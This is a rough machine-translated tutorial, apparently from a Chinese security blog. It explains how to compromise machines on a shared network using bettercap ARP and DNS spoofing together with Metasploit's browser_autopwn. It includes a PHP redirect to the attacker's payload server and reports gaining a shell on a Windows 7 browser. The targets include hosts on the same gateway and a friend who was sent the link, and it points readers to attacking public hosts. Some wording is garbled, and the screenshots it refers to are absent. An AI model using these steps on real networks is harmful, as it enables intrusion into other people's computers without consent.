Test host: kali 2016.2
工具：bettercap、metasploit、dnsspoof、armitage
initial preparation work
Bettercap is not integrated under kali, so we need to install it ourselves
The installation is complete
Start the postgresql service
Metasploit database initialization
Check the database link status, if it shows that the database is not connected, you can refer to: Portal to connect to the database
Start armitage ( about armitage )
Prepare a hosts file (for DNS spoofing)
Change: I just tried it. Adding the port number to the hosts file seems to cause some unexpected problems. Here we change our thinking, go directly to the ip address without adding the port number, then open the apache service, and then save the following code as index.php in the root directory (/var/www/html/)
<?php header("Location:http://10.167.33.1:8080"); ?>
In this way, after DNS spoofing, it will jump to the specified ip, and then redirect to our payload via php.
Another method is to directly change the port number to port 80 when starting the browser to automatically attack the plug-in below.
/**************************************zhun bei wan cheng ******* **********************************/
Start the browser automatic attack module: browser_autopwn
Wait for him to load all the payloads
arp attack (execution: bettercap -X)
DNS spoofing (forgot that the screenshots are supplemented so the parameters are a bit different)
Now we are waiting for the fish to be hooked. Now the host under the same gateway will parse it into our URL no matter what URL is opened. When he opens our URL, the program will automatically verify which pay is available
Our DNS spoofing is only effective for hosts under the same gateway, but the URL we use in total can only be used to reach our address. In the picture below, you can see that there are two win10 hosts spoofed by arp+dns, and the two Android win7 hosts I sent this URL to my friend. Of course, he is also on the intranet. If we need to attack a host on the public network, we can refer to how the shell of the public network returns to Kali on the internal network . Finally, a win7 browser successfully ran our payload and returned to the shell.
check the file
Screenshots
Of course, the functions are far more than these, and more fun can be explored by yourself.